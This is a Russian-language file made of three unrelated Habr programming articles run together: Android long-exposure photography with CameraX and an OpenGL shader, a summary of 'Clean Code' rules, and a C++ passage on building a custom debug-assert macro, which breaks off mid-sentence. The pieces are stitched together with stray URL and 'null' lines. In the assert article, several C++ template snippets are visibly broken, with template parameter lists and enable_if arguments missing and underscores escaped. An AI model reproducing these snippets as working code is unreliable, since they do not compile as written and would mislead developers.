# Рисуем светом: длинная выдержка на Android *Всем привет, меня зовут Дмитрий, и я Android-разработчик в компании «MEL Science». Сегодня я хочу рассказать, как можно реализовать поддержку длинной выдержки на смартфонах, да так, чтобы получающуюся картинку можно было наблюдать прямо в процессе создания. А для заинтересовавшихся в конце статьи я подготовил ссылку на тестовое приложение - чтобы вы могли сами сделать крутое фото с длинной выдержкой.* ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/948/be5/2fe/948be52fec1f91417516430100af65b8.png)#### Длинная выдержка Выдержка - термин из мира фотографии, который определяет время открытия затвора при съемке. Чем дольше открыт затвор, тем дольше свет экспонирует светочувствительную матрицу. Проще говоря, делает фотографию более яркой. Современные фотоаппараты используют выдержки длинной в 1/2000 cекунды, что позволяет получить освещенную, но при этом не пересвеченную фотографию. Длинная выдержка подразумевает открытие затвора на секунду и больше. При верно выбранной сцене это позволяет получать фантастические фотографии, способные запечатлеть движение света в объективе камеры. Причем фотографировать можно что угодно: ночные улицы с мчащимися машинами или маятник, с укрепленным на нем фонариком, позволяющим выписывать фигурыЛиссажу. А можно вообще рисовать светом самому и получать целые картины-фотографии. ![Улицы города, сфотографированные с использованием длинной выдержки](https://habrastorage.org/r/w1560/getpro/habr/upload_files/cdc/d7a/e07/cdcd7ae07472c879dcec0d20e5495f84.png "Улицы города, сфотографированные с использованием длинной выдержки")Улицы города, сфотографированные с использованием длинной выдержки#### Теория Для создания эффекта длинной выдержки можно использовать два подхода: * аппаратный - состоит в управлении физическим открытием и закрытием затвора * программный - эмулирует длинную выдержку за счет объединения большого числа обычных кадров Главным недостатком аппаратного подхода является отсутствие возможности наблюдать за процессом появления фотографии онлайн - результат будет виден лишь после закрытия затвора и формирования изображения. Нарисовать что-либо светом человеку без опыта в таком режиме вряд ли удастся. Еще одним недостатком становится ограничение смартфонов на максимальное время выдержки - на Android оно составляет 30 секунд. Программная эмуляция позволяет избавиться от всех недостатков ценой усложнения кода. #### Практика Для реализации работы с камерой смартфона будем использовать API **CameraX**. Это обусловлено ее гибкостью и лаконичностью. Также для программного подхода нам потребуется **OpenGL ES** для работы с изображениями. Данный выбор был сделан, так как это позволит работать напрямую с изображениями в видео памяти и обеспечить минимальную задержку при записи, так как вся обработка изображений происходит в реальном времени. **Аппаратный подход** Для реализации длинной выдержки средствами камеры, необходимо лишь правильно сконфигурировать usecase фотосъемки. Делается это всего в пару строк, а на выходе мы получаем фотографию с длинной выдержкой. Для тонкой настройки камеры, используем **Camera2Interop** который позволяет устанавливать флаги настройки камеры вручную, как в **Camera2API**. Для активации длинной выдержки помимо установки времени выдержки необходимо также отключить автоэкспозицию, т.к. иначе выдержка будет управляться камерой самостоятельно. ``` val imageCaptureBuilder = ImageCapture.Builder() Camera2Interop.Extender(imageCaptureBuilder).apply {  setCaptureRequestOption( CaptureRequest.CONTROL_AE_MODE, CaptureRequest.CONTROL_AE_MODE_OFF ) setCaptureRequestOption( CaptureRequest.SENSOR_EXPOSURE_TIME, EXPOSURE_TIME_SEC * NANO_IN_SEC ) } ``` Кстати, для каждой камеры диапазон допустимого интервала выдержки может быть разным, чтобы его узнать необходимо запросить `cameraCharacteristics` ``` val manager = getSystemService(CAMERA_SERVICE) as CameraManager for (cameraId in manager.cameraIdList) { val chars = manager.getCameraCharacteristics(cameraId) val range = chars.get(CameraCharacteristics.SENSOR_INFO_EXPOSURE_TIME_RANGE) Log.e("CameraCharacteristics", "Camera $cameraId range: ${range.toString()}") } ``` **Программный подход** Для начала определимся с общей идеей нашей реализации. 1. Нам потребуется буффер для хранения формирующегося изображения, а также регулярно обновляемое изображение с камеры. 2. Каждый новый кадр будем объединять с хранящимся в буффере, обрабатывая попиксельно и оставляя в буфере пиксель с наибольшей яркостью. 3. Для того чтобы придать нашим картинкам эффект постепенного исчезновения света можем долго неизменяемые пиксели постепенно затемнять. Я не буду приводить здесь весь код рендеринга, так как это займет слишком много места. Для желающих код можно найти [здесь](https://github.com/DmiitriyJarosh/LongExposure). Представлю лишь блок схему, объясняющую последовательность действий для получения очередного кадра на экране.  ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/887/98e/e53/88798ee53d43d5803b6da6549e2b77c6.png)Как видно из схемы, основная магия происходит при объединении 2х кадров: сохраненного в фреймбуфере и полученного с камеры. Рассмотрим шейдер для этой задачи подробнее. ``` #extension GL_OES_EGL_image_external : require precision mediump float; uniform mat4 stMatrix; uniform texType0 tex_sampler; uniform texType1 old_tex_sampler; varying vec2 v_texcoord; void main() { vec4 color = texture2D(tex_sampler, (stMatrix * vec4(v_texcoord.xy, 0, 1)).xy); vec4 oldColor = texture2D(old_tex_sampler, v_texcoord); float oldBrightness = oldColor.r * 0.2126 + oldColor.g * 0.7152 + oldColor.b * 0.0722 + oldColor.a; float newBrightness = color.r * 0.2126 + color.g * 0.7152 + color.b * 0.0722 + color.a; // объединяем пиксели } ``` Работа шейдера состоит из нескольких этапов: 1. К текстуре камеры мы применяем матрицу для получения верной ориентации изображения. 2. Затем вычисляем яркость пикселя на обоих кадрах 3. Объединяем пиксели Для того чтобы понять, как правильно объединить пиксели, необходимо вспомнить принцип работы длинной выдержки - “длинная выдержка позволяет свету попадать на матрицу камеры длительное время и сохраняться до конца съемки”. То есть, если в течение процесса фотографии, в разных местах кадра будет появляться свет, то он должен оставаться в кадре до конца. При этом, длительность освещения пикселя не важна, т.к. однажды попавший в кадр свет сохранится до завершения съемки, даже если все остальное время свет на этот пиксель попадать не будет.  Очевидным в таком случае является накопление света за счет сложения значений с последовательных кадров. Однако такое решение позволит снимать лишь в условиях минимальной освещенности и будет приводить к быстрому засвету пикселя. Во избежание данных проблем в качестве способа объединения пикселей была выбрана функция максимума. Она позволяет обновить значение пикселя только, если новый кадр содержит более освещенный пиксель в данной позиции. Тогда объединение пикселей будет выглядеть вот так: ``` if (newBrightness > oldBrightness) { gl_FragColor = color; } else { gl_FragColor = oldColor; } ``` Попробуем запустить такой код и обнаружим, что эффект длинной выдержки действительно достигается. Вот что получилось. ![Длинная выдержка](https://habrastorage.org/getpro/habr/upload_files/d46/82e/990/d4682e990b03980d54c9d4cc7215ea45.gif "Длинная выдержка")Длинная выдержкаОднако любая ошибка при рисовании требует перезапуска камеры, т.к. один раз попавший на нее свет уже нельзя стереть! Такое поведение приемлемо при выполнении каких-то заранее спланированных фотографий, но что если мы хотим просто рисовать светом и сохранять изображение, лишь когда нам действительно понравился результат? Перезапускать постоянно камеру совсем неудобно. Значит свет все-таки должен пропадать через какое то время. Этого можно добиться с помощью постепенного затухания ярких пикселей. Чтобы добиться такого эффекта достаточно просто на каждом новом шаге добавлять к каждому пикселю немного черного цвета (чтобы сохранять корректность картинки мы будем добавлять не черный цвет, а просто более темный пиксель из доступных - это позволит и эффект угасания получить и сохранить гамму цветов). Тогда объединение пикселей будет выглядеть следующим образом  ``` if (newBrightness > oldBrightness) { gl_FragColor = mix(color, oldColor, 0.01); } else { gl_FragColor = mix(oldColor, color, 0.01); } ``` Вот несколько примеров с разными коэффициентами и временем затухания света.![Коэффициент 0.001](https://habrastorage.org/getpro/habr/upload_files/694/4b8/d45/6944b8d453a6c2dadc6c314a2c4e867a.gif "Коэффициент 0.001")Коэффициент 0.001![Коэффициент 0.01](https://habrastorage.org/getpro/habr/upload_files/f07/a64/8ad/f07a648ad434e5c14724c2cfeafaf3a0.gif "Коэффициент 0.01")Коэффициент 0.01![Коэффициент 0.5](https://habrastorage.org/getpro/habr/upload_files/ee1/239/7ba/ee12397bad7666137ec7a4eed4535d31.gif "Коэффициент 0.5")Коэффициент 0.5#### Заключение ![ Вот несколько примеров, что умеет получившееся приложение. Все-таки я не художник :( А что нарисуете вы?](https://habrastorage.org/r/w1560/getpro/habr/upload_files/78f/bb9/7e1/78fbb97e1995cad149b6c139f8412b6c.png " Вот несколько примеров, что умеет получившееся приложение. Все-таки я не художник :( А что нарисуете вы?") Вот несколько примеров, что умеет получившееся приложение. Все-таки я не художник :( А что нарисуете вы?На этом на сегодня все. Для желающих попробовать самому полный код приложения и apk можно найти [здесь](https://github.com/DmiitriyJarosh/LongExposure).
https://habr.com/ru/post/558728/
null
ru
null
# Манифест Чистого Программиста или краткий конспект книги «Чистый Код» Роберта Мартина Данная статья является конспектом книги "Чистый Код" Роберта Мартина и моим пониманием того, каким Чистый Код должен быть. Тут нет разделов о тестировании, TDD, о том какая должна быть архитектура и т.д. Здесь все только о том, каким должен быть Чистый Код. ![](https://habrastorage.org/r/w780q1/webt/zt/bt/ue/ztbtueydh3jfvrdzeuh5_nkkca4.jpeg) --- Да, возможно, тема Чистого Кода уже заезженна, но тем не менее еще не все с ним знакомы и, тем более, я не встретил аналогов контента, который содержится в моей статье. ### Общее Нет истинного пути и решения. Есть тот, который лучше всего подходит для решения конкретной задачи. При решении задачи попытайся воспроизвести абсолютно все кейсы, которые могут затрагивать эту задачу и реализуй задачу с учетом абсолютно всех кейсов. Также при решении задачи попробуй пойти от обратного. Пойми какие результаты в итоге ты хочешь получить и составь на этом основании алгоритм, по которому будет выполняться задача. Перед тем, как отправить задачу в релиз — проверь правильно ли она работает. Нет ли в ней ошибок. Это касается даже тех коммитов, которые отправляются в твою ветку. Самый идеальный сценарий — тот, в котором никто не смог найти ошибки в функционале, который ты разрабатывал. Всегда задумывайся о том как можно сделать твой код проще, чище и читабельнее. * Какие кейсы могут быть у задачи? * Все ли я учел? * Что может пойти не так? * Что можно объединить? * Есть ли похожий функционал? * Что тут лишнее? * Как сделать проще? * Как сделать читабельнее? * Как сделать понятнее? ### Чистый Код Как писать чистый и хороший код? Это похоже на написание книги. Сначала ты делаешь черновик и потом причесываешь его до того состояния, в котором тебе было бы приятно его читать. Всегда помни, что твой код должен рассказывать историю происходящего, чтобы читатель мог ее понять. Под сущностью понимается — интерфейс, класс, метод, переменная, объект и т.д. * Чистый код простой, выразительный и направлен на конкретную задачу. * Чистый код читается легко, как проза. Если это не так, то его стоит рефакторить. * Чистый код легко изменять. Он не должен быть жестко завязан на куче сущностей. Любую сущность можно легко изменить. * Чистый код намного лучше проходит ревью. Если ревью проходит с огромным количеством комментариев, то он не чистый и его надо рефакторить. * Чистый код всегда выглядит так, словно над ним очень долго трудились. Какие бы пути для его улучшения ты не искал, ты все равно придешь к тому, что этот код лучший. Соответственно, чистый код — продуманный до всех мелочей. * Правило бойскаута: Оставь место стоянки чище, чем оно было до тебя. Это легко перекладывается и на программирование. Видишь грязный код? Сделай его чище, пока решаешь свою задачу. Не стоит увлекаться этим и если грязный код очень грязный, то стоит выделить отдельную задачу и время для его очистки. * Не бойся делать изменений. Если ты хочешь их сделать, то значит у тебя есть на то причины, а значит ты сделаешь код лучше и чище. Тем более тесты покажут нет ли ошибок в твоем коде (при условии, что они вообще есть). * Любая сущность должна отвечать за один функционал и только за него. И она должна выполнять его хорошо. Single Responsibility. * Если сущность отвечает сразу за два и более действий, то её функционал нужно разделять. * Код должен читаться сверху вниз. * В хорошей и грамотной архитектуре внесение изменений обходится без значительных затрат и усилий. * Удаляй мертвый код. Мертвый код это код, который не будет вызван ни при каких условиях или код, который нигде не используется. ### Наименования и разделения * Используй понятные и удобнопроизносимые имена для любых сущностей. Они должны описывать почему эта сущность существует, что она делает и как используется. * Не бойся тратить время на выбор лучшего и понятного имени. Ты выиграешь в будущем при работе или чтении этого кода. * Если название сущности не соответствует еë функционалу или по названию не понятно, что сущность делает, то еë надо переименовать в самое понятное название. Если этого сделать невозможно, то значит с еë функционалом что-то не так и еë надо рефакторить. * Сущность, которая имеет в названии "And", "With" — нарушает Single Responsibility. Функционал такой сущности стоит разделять. Но этим правилом стоит иногда пренебрегать. * Непонятные тексты, строки стоит выносить в переменные и давать им понятные названия. * Названия методов должны содержать глагол, который описывает, что этот метод делает и ключевое слово с которым работает данный метод. Если в названии метода нет глагола, то эта сущность не должна быть методом или ему нужно дать правильное название. * Нужно избегать одинаковых наименований для двух разных целей. * Если сущность имеет схожее с другой сущностью название, то скорее всего их функционал очень сильно похож и их нужно объединить? Если нет, то их названия нужно менять так, чтобы они не были похожими. * Если ты мысленно переименовываешь сущность, когда читаешь код, чтобы тебе было понятнее понимать её функционал, то переименуй её в это мысленное название. * Выбери одно слово для одной концепции. Сложно будет понимать функционал, когда у тебя есть fetch, retrieve и get в названиях. Пусть лучше везде будет get. * Длинное и понятное имя лучше, чем короткое, но непонятное. ### Функции * Функции должны быть короткими и компактными. * Функции должны быть очень короткими и очень компактными. * Приблизительный максимум 20 строк и 150 символов в одной строке, если не влезает, то нужно разделять. * Функция должна выполнять только одну операцию. + Она должна выполнять её хорошо и ничего другого она делать не должна. + Если функция выполняет только те действия, которые находятся на одном уровне абстракции, то функция выполняет одну операцию. + Чтобы определить выполняет ли функция более одной операции, попробуй извлечь из нее другую функцию, которая не будет являться простой переформулировкой реализации. * Любые условные операторы с длинными выборами через switch-case, if-else должны разделяться или объединяться без дублирования, возможно на классы с реализациями, а выбор реализации передать базовому классу, фабрике или еще кому-то. * If, else, while и т.д. должны содержать вызов одной функции. Так будет читабельнее, понятнее и проще. * Идеальное количество входных аргументов для функции = 0. Если входных аргументов больше трех, то стоит задуматься каким образом лучше от них избавиться, например, создать класс для этих аргументов. * Чем больше входных аргументов, тем тяжелее понимается функция. * Функция в которую передается аргумент-флаг, от которого зависит работа функции говорит о том, что функция выполняет более одной операции. Такие функции следует разбить на две и вызывать их уровнем выше. * Функция, которая изменяет входной аргумент, должна отдавать ссылку на измененный объект, а не просто изменять без возврата. `String transform(String text)` * Если функция, должна изменять входной аргумент, то пусть она изменяет состояние своего объекта-владельца. * Если входной аргумент функции не должен меняться (и используется дальше в коде), то следует скопировать значение аргумента и внутри функции работать с копией. * Вместо return null лучше использовать пустой объект — `Collection.empty()` или null-объект -`EmptyObject()`. * Всегда старайся использовать нестатические функции. Если это невозможно, то используй статические. * Если есть код, который должен следовать один за другим, то передавай результаты первой функции во вторую, чтобы кто-нибудь не изменил последовательность вызовов. * Используй полиморфизм вместо if/else или switch/case или when. * Избегай отрицательных условий. ### Комментарии * Не используй комментарии, если ты можешь использовать функцию или переменную вместо этого. * Не комментируй плохой код — перепиши его. Не стоит объяснять, что происходит в плохом коде, лучше сделать его явным и понятным. * Комментарии можно использовать для передачи какой-то информации, предупреждения о последствиях, но не для объяснения того, как работает код. * Используй TODO и FIXME в тех случаях, когда нужно пометить, что код нуждается в доработке, но сейчас нет ресурсов на это. * Используй `//region REGIONNAME //endregion REGIONNAME`, а если используешь, то подумай можно ли разделить region на сущности. * Документируй код, который является сложным, но чистым. * Не оставляй старый закомментированный код. Ты можешь найти его в истории коммитов, если необходимо. * Комментарии должны быть краткими и понятными. В комментариях с информацией не должно быть много информации. Все должно быть кратко и по делу. ### Форматирование и правила * Соблюдай codestyle, принятый на проекте. * Соблюдай правила, принятые в команде. * При соблюдении форматирования и codestyle код будет читаться проще и лучше. Ведь не зря книгу отдают на редакцию, перед тем, как её издавать. * Нужно иметь автоматические средства, которые будут форматировать код за тебя. * Файл с исходным кодом должен быть как газетная статья. Есть заголовок, краткое описание в виде параметров и содержание в виде функций. Если это не так, то стоит изменить форматирование. * Сущности, связанные друг с другом, должны находиться рядом, например, в одном package, чтобы было проще навигировать по коду. * Переменные(поля) класса должны находиться вверху класса. * Переменные методов должны находиться ближе к своему месту использования. * Функции должны находиться в порядке вызова. Если одна вызывает другую, то вызывающая функция должна находиться над вызываемой. C другой стороны, приватные функции более низкого уровня могут находиться внизу файла и не мешать пониманию кода высокого уровня. Но я предпочитаю первый способ. ### Объекты и структуры данных * Ты должен работать с абстракциями, чтобы реализацию можно было легко изменить. * Ты должен работать с абстракциями, потому что клиент, использующий функционал, не должен знать о деталях реализации, он должен знать какую реализацию в каком случае использовать. * Ты должен предоставлять API, с которым стоит работать и скрывать детали реализации, структуру. Так будет проще работать с такими сущностями и добавлять новые виды поведений, функционала и реализаций. * DTO — Data Transfer Object. Класс, который содержит только данные и никакого функционала. Нужен для того, чтобы передавать какие-то данные. Объект такого класса должен быть неизменяемым. ### Классы * Классы должны быть компактными. * Классы должны быть еще компактнее. * Имя класса должно описывать его ответственности. Отсюда можно и вычислить размер класса. * Функционал класса должен четко соответствовать и вписываться в название класса. * Разделяй связанность на маленькие классы. Жесткой и обильной связанности не должно быть — это усложняет поддержку и развитие проекта. * Помни о Single Responsibility. Сущность должна иметь одну и только одну причину для изменения. * Соблюдай инкапсуляцию. Ослабление инкапсуляции всегда должно быть последней мерой. * Обычно мы объявляем переменные и вспомогательные функции приватными, но иногда их нужно объявлять protected и иметь возможность обратиться к ней из теста. * Если группа функций относится к определенному функционалу, то эту группу функций можно и нужно выделить в отдельный класс и использовать его экземпляр. ### Обработка ошибок * Используй Exceptions вместо возвращения кодов ошибок. * Обработка ошибок — это одна операция. Если в функции есть ключевое слово `try`, то после блоков `catch/finally` ничего другого в функции быть не должно. * Если у тебя есть enum, который перечисляет ошибки, то от него лучше избавиться и вместо него использовать исключения. * Используй unchecked exceptions, чтобы явно указать на место в котором есть проблемы. Такие ошибки не нужно отлавливать, вместо этого нужно написать код так, чтобы этой ошибки никогда не было. * Передавай достаточное количество информации вместе с выбросом исключения, чтобы потом пользователи твоего кода могли понять, что же действительно произошло. * Вместо условных операторов с обработкой ошибок лучше выбрасывать исключения и обрабатывать их. * Не передавай null куда-либо. Старайся этого максимально избежать. * Обработка ошибок — это отдельная задача и не относится к основной логике программы. ### Границы * Мы всегда используем какие-либо библиотеки, которые чаще всего дают нам слишком широкий, слишком маленький функционал или конфликтуют с ожидаемым функционалом, что делает код грязнее в его конечном использовании. Избежать этого можно просто применив паттерны типа Decorator, Adapter, Facade или другие. * Бывают ситуации, когда тебе нужно работать с функционалом, который находится в разработке или пока что не адаптирован для использования в продакшен коде. В этом случае стоит представить чего ты ждешь от библиотеки/этого функционала и написать свой интерфейс или создать сущность с которыми ты будешь работать в своем проекте так, как тебе нужно. Когда библиотека доделается и станет стабильной, ты адаптируешь её под свои готовые структуры и использовать уже готовый функционал. ### Послесловие В данной статье представлены лишь рекомендации к написанию Чистого Кода. Разумеется, ими можно пренебрегать. Вам лишь стоит понять, что у любого вашего решения должны быть аргументы в пользу него.
https://habr.com/ru/post/424051/
null
ru
null
# Выбор правильной стратегии обработки ошибок (части 3 и 4) ![image](https://habrastorage.org/r/w780q1/files/c91/cb4/3ae/c91cb43ae6d746348b8382f26c3f8826.jpg) Части 1 и 2: [ссылка](https://habrahabr.ru/company/mailru/blog/322416/) В первой части мы поговорили о разных стратегиях обработки ошибок и о том, когда их рекомендуется применять. В частности, я рассказал, что предусловия функций должны проверяться с помощью отладочных утверждений (debug assertions), т. е. только в режиме отладки. Для проверки условия библиотека С предоставляет макрос `assert()`, но только если не определён `NDEBUG`. Однако, как и в случае со многими другими вещами в С, это простое, но иногда неэффективное решение. Главная проблема, с которой я столкнулся, — **глобальность** решения: у вас есть утверждения либо везде, либо нигде. Плохо это потому, что вы не сможете отключить утверждения в библиотеке, оставив их только в собственном коде. Поэтому многие авторы библиотек самостоятельно пишут макросы утверждений, раз за разом. Давайте вместо этого создадим своё, более качественное решение, чтобы часть его можно было использовать многократно. [Исходный код](https://github.com/foonathan/debug-assert). Проблема с `assert()` --------------------- Хотя `assert()` хорошо делает свою работу, у этого решения есть ряд проблем: 1. Невозможно задать дополнительное сообщение, предоставляющее больше информации об условии сбоя (failed condition). Отображается только преобразованное в строку выражение. Это позволяет делать хаки вроде`assert(cond && !"my message")`. Дополнительное сообщение могло бы быть полезным, если само по себе условие не даёт достаточно информации, наподобие `assert(false)`. Более того, иногда нужно передавать и дополнительные параметры. 2. Глобальность: либо **все** утверждения активны, либо **ни одно** не активно. Нельзя управлять утверждениями для какого-то отдельного модуля. 3. Содержимое сообщения и способ его вывода определяются реализацией. А ведь вы можете захотеть управлять им или даже интегрировать в свой код журналирования. 4. Не поддерживаются уровни утверждений. Некоторые из утверждений дороже других, так что иногда требуется более тонкое управление. 5. Здесь используются макросы, причём один даже в нижнем регистре (lower-case)! Макросы — не лучшая вещь, их применение лучше минимизировать. Давайте напишем универсальный усовершенствованный `assert()`. Первый подход ------------- Так выглядит первый дубль. Вероятно, таким же образом вы пишете свои собственные макросы утверждений: ``` struct source_location { const char* file_name; unsigned line_number; const char* function_name; }; #define CUR_SOURCE_LOCATION source_location{__FILE__, __LINE__, __func__} void do_assert(bool expr, const source_location& loc, const char* expression) { if (!expr) { // handle failed assertion std::abort(); } } #if DEBUG_ASSERT_ENABLED #define DEBUG_ASSERT(Expr) \ do_assert(expr, CUR_SOURCE_LOCATION, #Expr) #else #define DEBUG_ASSERT(Expr) #endif ``` Я определил вспомогательную структуру `struct`, которая содержит информацию о местонахождении в коде (source location). При этом саму работу выполняет функция `do_assert()`, а макрос просто переадресует. *Это позволяет избежать трюков с `do ... while(0)`. Размер макросов должен быть как можно меньше.* Теперь у нас есть макрос, который просто получает текущее местонахождение в коде (source location), используемое в макросе утверждения. С помощью настройки макроса `DEBUG_ASSERT_ENABLED` можно включать и отключать утверждения. Возможная проблема: предупреждение о неиспользуемой переменной -------------------------------------------------------------- Если вы когда-либо компилировали релизную сборку с включёнными предупреждениями, то знаете, что из-за любой переменной, которая использовалась только в утверждении, появится предупреждение «неиспользованная переменная» (unused variable). Вы можете попытаться это предотвратить, написав не-утверждение (non-assertion) вроде: ``` #define DEBUG_ASSERT(Expr) (void)Expr ``` Не делайте так! Я совершил подобную ужасную ошибку. В этом случае выражение будет вычислено даже при отключённых утверждениях. И если оно достаточно сложное, то это приведёт к большим потерям производительности. Взгляните на код: ``` iterator binary_search(iterator begin, iterator end, int value) { assert(is_sorted(begin, end)); // binary search } ``` `is_sorted()` — это линейная операция, в то время как `binary_search()` имеет временную сложность `O(log n)`. Даже при отключённых утверждениях `is_sorted()` всё ещё может вычисляться компилятором, потому что нет доказательств отсутствия его побочных эффектов! *Когда я совершил такую ошибку, то получил [очень похожую ситуацию](http://foonathan.net/blog/2016/04/13/boosting-pools-3.html). Производительность сильно упала.* Но в любом случае `DEBUG_ASSERT()` не сильно лучше, чем `assert()`, так что остановимся на нём. Внедряем настраиваемость и модульность -------------------------------------- Проблемы номер 2 и 3 можно решить с помощью политики (policy). Это дополнительный шаблонный параметр, управляющий активацией утверждения и способом вывода сообщения на экран. В каждом модуле, в котором требуется обеспечить отдельное управление утверждениями, нужно определить свой собственный `Handler`: ``` template void do\_assert(bool expr, const source\_location& loc, const char\* expression) noexcept { if (Handler::value && !expr) { // handle failed assertion Handler::handle(loc, expression); std::abort(); } } #define DEBUG\_ASSERT(Expr, Handler) \ do\_assert(Expr, CUR\_SOURCE\_LOCATION, #Expr) ``` Вместо жёсткого прописывания в коде способа вычисления выражения мы вызываем функцию `static handle()` применительно к конкретному `Handler`. *Чтобы предотвратить бросания исключений `Handler`’ом при покидании функции, я сделал `do_assert() noexcept`, а для возвратов функции обработчика сделал вызов `std::abort()`.* Функция также управляет проверкой выражения с помощью константы value (`std::true_type/std::false_type`). Теперь макрос утверждения безоговорочно переадресует в `do_assert()`. Однако у этого кода тот же недостаток, что описан выше: выражение вычисляется всегда, когда выполняется ветка `Handler::value`! Вторая проблема решается легко: `Handler::value` — это константа, поэтому мы можем воспользоваться эмуляцией `constexpr if`. Но как предотвратить вычисление выражения? Пойдём на хитрость — используем лямбду: ``` template void do\_assert(std::true\_type, const Expr& e, const source\_location& loc, const char\* expression) noexcept { if (!e()) { Handler::handle(loc, expression); std::abort(); } } template void do\_assert(std::false\_type, const Expr&, const source\_location&, const char\*) noexcept {} template void do\_assert(const Expr& e, const source\_location& loc, const char\* expression) { do\_assert(Handler{}, e, loc, expression); } #define DEBUG\_ASSERT(Expr, Handler) \ do\_assert([&] { return Expr; }, CUR\_SOURCE\_LOCATION, #Expr) ``` *Теперь этот код считает, что `Handler` наследует от `std::true_type` или `std::false_type`.* Чтобы реализовать статическую диспетчеризацию (static dispatch), мы делаем здесь «классическую» [теговую диспетчеризацию](http://foonathan.net/blog/2015/11/16/overload-resolution-3.html) (tag dispatching). Но что ещё важнее, мы изменили обработку выражения: вместо прямой передачи выражения `bool` (что означает вычисление выражения) макрос создаёт лямбду, которая **возвращает** выражение. Теперь оно будет вычисляться только при вызове лямбды. * Это выполняется только при включённых утверждениях. Трюк с обёртыванием в лямбду ради откладывания вычисления полезен во всех ситуациях, когда у вас исключительно опциональные проверки, а вы не хотите использовать макросы. Например, в [memory](https://github.com/foonathan/memory) я применяю этот подход для проверок на двойное освобождение ресурсов (double deallocation). Есть ли здесь какие-то издержки? -------------------------------- Макрос постоянно активен, так что он всегда будет вызывать функцию `do_assert()`. Для сравнения, при условном компилировании (conditional compilation) макрос работает вхолостую. Так есть ли какие-то издержки? Я тщательно проанализировал несколько компиляторов. При компилировании с выключенными оптимизациями мы имеем только вызов `do_assert()`, который переадресуется в неоптимизированную версию. Выражение остаётся нетронутым, и уже на начальном уровне оптимизаций вызов полностью устраняется. Я хотел улучшить генерирование кода при отключённых оптимизациях, поэтому включил [SFINAE](http://foonathan.net/blog/2015/11/30/overload-resolution-4.html), чтобы выбрать перегрузку вместо теговой диспетчеризации. Благодаря этому отпадает необходимость в функции-трамплине, которая вставляет тег. Теперь макрос напрямую вызывает неоптимизированную версию. Я также пометил, чтобы он принудительно встраивался (force-inline), так что компилятор будет это делать даже без оптимизаций. Всё, что он делает, — это создаёт объект `source_location`. Но, как и прежде, при любых оптимизациях макрос как будто работает вхолостую. Добавление уровней утверждений ------------------------------ При таком подходе очень легко добавлять другие уровни утверждений: ``` template auto do\_assert(const Expr& expr, const source\_location& loc, const char\* expression) noexcept -> typename std::enable\_if::type { static\_assert(Level > 0, "level of an assertion must not be 0"); if (!expr()) { Handler::handle(loc, expression); std::abort(); } } template auto do\_assert(const Expr&, const source\_location&, const char\*) noexcept -> typename std::enable\_if<(Level > Handler::level)>::type {} #define DEBUG\_ASSERT(Expr, Handler, Level) \ do\_assert([&] { return Expr; }, CUR\_SOURCE\_LOCATION, #Expr) ``` *Также здесь вместо тегов используется SFINAE.* При определении активированности утверждений вместо `Handler::value` теперь включается условие `Level <= Handler::level`. Чем выше уровень, тем больше утверждений активируется. Уровень 0 означает, что не выполняются никакие утверждения. *Обратите внимание: это также означает, что минимальный уровень частичного утверждения — 1.* Последний шаг: добавляем сообщение ---------------------------------- Сделать это очень просто: вписываем дополнительный параметр, который будет передаваться обработчику. Но иногда нам не нужно, чтобы утверждения содержали сообщение, потому что условия и так дают достаточно информации. Так что хорошо бы перегружать макрос. Увы, такой возможности нет. То же самое и с уровнями: может быть, вам не захочется определять их каждый раз. Более того, поскольку обработчик является дженериком, то он способен принимать дополнительные аргументы. Так что нам нужен макрос утверждения, который сможет обработать любое количество аргументов. То есть макрос с переменным количеством аргументов (variadic): ``` template using level = std::integral\_constant; // overload 1, with level, enabled template auto do\_assert(const Expr& expr, const source\_location& loc, const char\* expression, Handler, level, Args&&... args) noexcept -> typename std::enable\_if::type { static\_assert(Level > 0, "level of an assertion must not be 0"); if (!expr()) { Handler::handle(loc, expression, std::forward(args)...); std::abort(); } } // overload 1, with level, disabled template auto do\_assert(const Expr&, const source\_location&, const char\*, Handler, level, Args&&...) noexcept -> typename std::enable\_if<(Level > Handler::level)>::type {} // overload 2, without level, enabled template auto do\_assert(const Expr& expr, const source\_location& loc, const char\* expression, Handler, Args&&... args) noexcept -> typename std::enable\_if::type { if (!expr()) { Handler::handle(loc, expression, std::forward(args)...); std::abort(); } } // overload 2, without level, disabled template auto do\_assert(const Expr&, const source\_location&, const char\*, Handler, Args&&...) noexcept -> typename std::enable\_if::type {} #define DEBUG\_ASSERT(Expr, ...) \ do\_assert([&] { return Expr; }, CUR\_SOURCE\_LOCATION, #Expr, \_\_VA\_ARGS\_\_) ``` У нас есть два параметра, которые необходимо задать: выражение и обработчик. Поскольку макрос-вариадик не может быть пустым, мы именуем только первый требуемый параметр. Все параметры вариадика передаются в качестве параметров для вызова функции. Это вносит некоторые изменения в характер использования: перед `Handler` может идти имя типа и константа `Level`, и теперь их нужно настраивать, потому что они являются параметрами регулярной функции. `Handler` должен быть объектом типа обработчика, и Level, и объектом типа `level`. Это позволяет сделать дедукцию аргумента (argument deduction) для вычисления подходящих параметров. Также вышеприведённый код поддерживает любое количество дополнительных аргументов, которые просто переадресуются функции-обработчику. Я хочу разрешить следующие варианты вызова: 1. `DEBUG_ASSERT(expr, handler{})` — без уровня, без дополнительных аргументов. 2. `DEBUG_ASSERT(expr, handler{}, level<4>{})` — с уровнем, но без дополнительных аргументов. 3. `DEBUG_ASSERT(expr, handler{}, msg)` — без уровня, но с дополнительным аргументом (сообщение). 4. `DEBUG_ASSERT(expr, handler{}, level<4>{}, msg)` — с уровнем и дополнительным аргументом (сообщение). Чтобы это реализовать, нам нужно две перегрузки (overloads) `do_assert()`. Первая обрабатывает все перегрузки с уровнем (2 и 4), вторая — без (1 и 3). Но это всё ещё макрос! ---------------------- Одной из проблем `assert()` является то, что это макрос. Да, всё ещё макрос! Но нужно отметить и серьёзное улучшение: нам больше не требуется макрос для отключения утверждения. Теперь он нужен только для трёх вещей. Чтобы: 1. Получить текущее местонахождение в коде (source location). 2. Преобразовать выражение в строку. 3. Преобразовать выражение в лямбду, чтобы включить отложенное вычисление. Что касается 1, то в Library Fundamentals V2 есть [std::experimental::source\_location](https://en.cppreference.com/w/cpp/experimental/source_location). Этот класс представляет расположение исходного кода, как написанная мной структура `struct`. Но за его извлечение во время компилирования отвечают не макросы, а статическая функция класса — `current()`. Более того, если использовать этот класс таким образом: ``` void foo(std::experimental::source_location loc = std::experimental::source_location::current()); ``` то loc получит местонахождение вызывающего фрагмента кода, а не параметра! Это именно то, что нужно для макросов утверждения. К сожалению, во втором и третьем вариантах мы ничем не можем заменить макрос. Это нужно 